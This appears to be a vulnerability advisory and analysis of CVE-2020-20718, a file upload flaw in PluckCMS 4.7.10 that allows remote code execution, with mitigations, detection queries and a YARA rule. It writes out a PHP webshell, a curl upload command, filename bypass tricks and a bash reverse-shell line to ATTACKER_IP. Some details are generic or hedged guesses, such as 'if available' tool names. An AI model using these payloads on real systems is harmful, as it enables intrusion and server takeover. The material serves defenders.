CVE-2020-20718
CVE-2020-20718
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
File Upload vulnerability in PluckCMS v.4.7.10 dev versions allows a remote attacker to execute arbitrary code via a crafted image file to the the save_file() parameter.
Comprehensive Technical Analysis of CVE-2020-20718 (PluckCMS Arbitrary File Upload Vulnerability)
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2020-20718 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vector Breakdown:
- Attack Vector (AV:N): Network-based exploitation (remote attacker).
- Attack Complexity (AC:L): Low – No special conditions required.
- Privileges Required (PR:N): None – Unauthenticated exploitation.
- User Interaction (UI:N): None – No user action needed.
- Scope (S:U): Unchanged – Impact confined to the vulnerable component.
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): High impact across all three security objectives.
Severity Justification
This vulnerability is critical due to:
- Unauthenticated remote code execution (RCE) via arbitrary file upload.
- Low attack complexity – Exploitable with minimal effort.
- High impact – Full system compromise (data theft, defacement, lateral movement).
- Publicly available exploit code (as referenced in GitHub issues).
The CVSS 9.8 rating aligns with real-world risk, as successful exploitation could lead to complete system takeover.
2. Potential Attack Vectors and Exploitation Methods
Vulnerability Root Cause
The flaw resides in PluckCMS v4.7.10 (development versions) within the save_file() function, which fails to properly validate uploaded file types. An attacker can bypass file extension checks and upload a malicious PHP file disguised as an image (e.g., .php.jpg).
Exploitation Steps
-
Identify Target:
- Locate a vulnerable PluckCMS instance (e.g., via Shodan, Censys, or manual reconnaissance).
- Confirm version (
/admin.phpor/data/inc/version.php).
-
Craft Malicious Payload:
- Prepare a PHP webshell (e.g.,
<?php system($_GET['cmd']); ?>). - Rename it to bypass weak checks (e.g.,
shell.php.jpg).
- Prepare a PHP webshell (e.g.,
-
Upload via Vulnerable Endpoint:
- Exploit the file upload functionality (e.g., via
/admin.php?action=files). - The
save_file()parameter does not enforce strict file validation, allowing arbitrary code execution.
- Exploit the file upload functionality (e.g., via
-
Execute Arbitrary Commands:
- Access the uploaded file (e.g.,
/data/files/shell.php.jpg?cmd=id). - Achieve RCE with the privileges of the web server (e.g.,
www-data).
- Access the uploaded file (e.g.,
Proof-of-Concept (PoC) Exploit
A publicly available exploit exists (referenced in GitHub issue #79), demonstrating:
curl -F "file=@shell.php.jpg" "http://target.com/admin.php?action=files&save_file=1"
- Bypass Technique: Some implementations may check for
.jpgbut still execute PHP if the server misinterprets the file.
3. Affected Systems and Software Versions
| Software | Affected Versions | Fixed Versions | Notes |
|---|---|---|---|
| PluckCMS | 4.7.10 (development versions) | Unknown | No official patch; workaround recommended. |
| PluckCMS (Forks) | Derivative versions may inherit flaw | N/A | Verify file upload validation. |
Detection Methods
- Manual Check:
- Inspect
/admin.php?action=filesfor file upload functionality. - Test with a benign
.php.jpgfile to confirm execution.
- Inspect
- Automated Scanning:
- Nmap NSE Script:
http-vuln-cve2020-20718.nse(if available). - Burp Suite / OWASP ZAP: Test file upload with malicious extensions.
- Metasploit Module: (If developed, check
exploit/multi/http/pluckcms_upload_exec).
- Nmap NSE Script:
4. Recommended Mitigation Strategies
Immediate Actions
-
Disable File Uploads (Temporary Fix):
- Remove or restrict access to
/admin.php?action=files. - Set file permissions to read-only for upload directories (
/data/files/).
- Remove or restrict access to
-
Apply Input Validation:
- Strict file extension whitelisting (e.g., only
.jpg,.png). - MIME-type verification (e.g.,
image/jpeg). - Content inspection (e.g.,
getimagesize()in PHP).
- Strict file extension whitelisting (e.g., only
-
Implement Web Application Firewall (WAF) Rules:
- Block requests containing
.phpin uploaded filenames. - Use ModSecurity OWASP Core Rule Set (CRS) to detect file upload attacks.
- Block requests containing
Long-Term Remediation
-
Upgrade PluckCMS:
- If a patched version is released, upgrade immediately.
- Monitor PluckCMS GitHub for updates.
-
Isolate Web Server:
- Run PluckCMS in a containerized environment (Docker) with least privileges.
- Use chroot jails or SELinux/AppArmor to restrict execution.
-
Network-Level Protections:
- Segment web servers from internal networks.
- Rate-limit upload requests to prevent brute-force attacks.
-
Monitor for Exploitation:
- Log all file uploads and alert on suspicious extensions.
- Deploy EDR/XDR to detect post-exploitation activity (e.g., reverse shells).
5. Impact on the Cybersecurity Landscape
Exploitation Trends
-
Active Exploitation: Given the CVSS 9.8 and public PoC, this vulnerability is highly attractive to threat actors, including:
- Script kiddies (low-skill attackers using automated tools).
- APT groups (for initial access in targeted campaigns).
- Ransomware operators (to deploy encryptors).
-
Mass Scanning: Expect Shodan/Censys queries for vulnerable PluckCMS instances.
Broader Implications
- Supply Chain Risks: If PluckCMS is used in third-party hosting, compromise could lead to watering hole attacks.
- Compliance Violations: Failure to patch may result in GDPR, HIPAA, or PCI DSS non-compliance.
- Reputation Damage: Successful exploitation could lead to data breaches, defacement, or SEO poisoning.
Historical Context
- Similar file upload vulnerabilities (e.g., CVE-2018-7600 – Drupalgeddon) have led to widespread compromises.
- Lessons Learned: Inadequate input validation remains a top OWASP Top 10 risk (A03:2021 – Injection).
6. Technical Details for Security Professionals
Vulnerable Code Analysis
The flaw likely stems from insufficient file validation in PluckCMS’s file handling logic. Example of vulnerable code:
// Vulnerable save_file() function (pseudo-code)
function save_file($file) {
$filename = $file['name'];
$target_path = "data/files/" . $filename;
move_uploaded_file($file['tmp_name'], $target_path); // No validation!
return $target_path;
}
Issues:
- No extension whitelisting (e.g.,
.phpallowed). - No MIME-type check (e.g.,
image/jpeg). - No content inspection (e.g.,
getimagesize()).
Exploitation Bypass Techniques
- Double Extensions:
shell.php.jpg→ Some servers execute.phpif it appears first.
- Null Byte Injection:
shell.php%00.jpg→ Truncates filename at null byte (if PHP < 5.3.4).
- MIME-Type Spoofing:
- Modify
Content-Type: image/jpegin HTTP headers.
- Modify
Post-Exploitation Scenario
- Webshell Deployment:
- Upload
cmd.phpand execute commands via?cmd=id.
- Upload
- Reverse Shell:
- Use
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'.
- Use
- Persistence:
- Modify
.htaccessto execute.jpgas PHP. - Add a cron job for recurring access.
- Modify
Forensic Indicators
- Logs:
- Unusual
POSTrequests to/admin.php?action=files. - File uploads with
.phpin the name.
- Unusual
- Filesystem:
- Suspicious
.phpfiles in/data/files/. - Unexpected
.htaccessmodifications.
- Suspicious
- Network:
- Outbound connections to attacker-controlled IPs.
Detection & Hunting Queries
- SIEM Rules (Splunk/ELK):
index=web_logs uri_path="/admin.php" action="files" file_ext IN ("*.php", "*.php.*") - YARA Rule (for uploaded files):
rule PluckCMS_Webshell { meta: description = "Detects common PluckCMS webshells" strings: $php_tag = "<?php" $cmd_exec = "system(" $eval = "eval(" condition: $php_tag and ($cmd_exec or $eval) }
Conclusion & Recommendations
CVE-2020-20718 is a critical unauthenticated RCE vulnerability in PluckCMS, posing severe risks to affected systems. Given the public exploit availability and low attack complexity, organizations must immediately apply mitigations to prevent compromise.
Key Takeaways for Security Teams
- Patch or Isolate: Upgrade PluckCMS if a fix is available; otherwise, disable file uploads.
- Monitor & Detect: Deploy WAF rules, SIEM alerts, and EDR to detect exploitation attempts.
- Harden Systems: Enforce least privilege, file integrity monitoring (FIM), and network segmentation.
- Threat Hunting: Proactively search for webshells, unusual file uploads, and post-exploitation activity.
Further Reading
- OWASP File Upload Security
- MITRE ATT&CK T1105 – Ingress Tool Transfer
- CISA Known Exploited Vulnerabilities Catalog
Final Risk Assessment: Critical (9.8) – Immediate action required.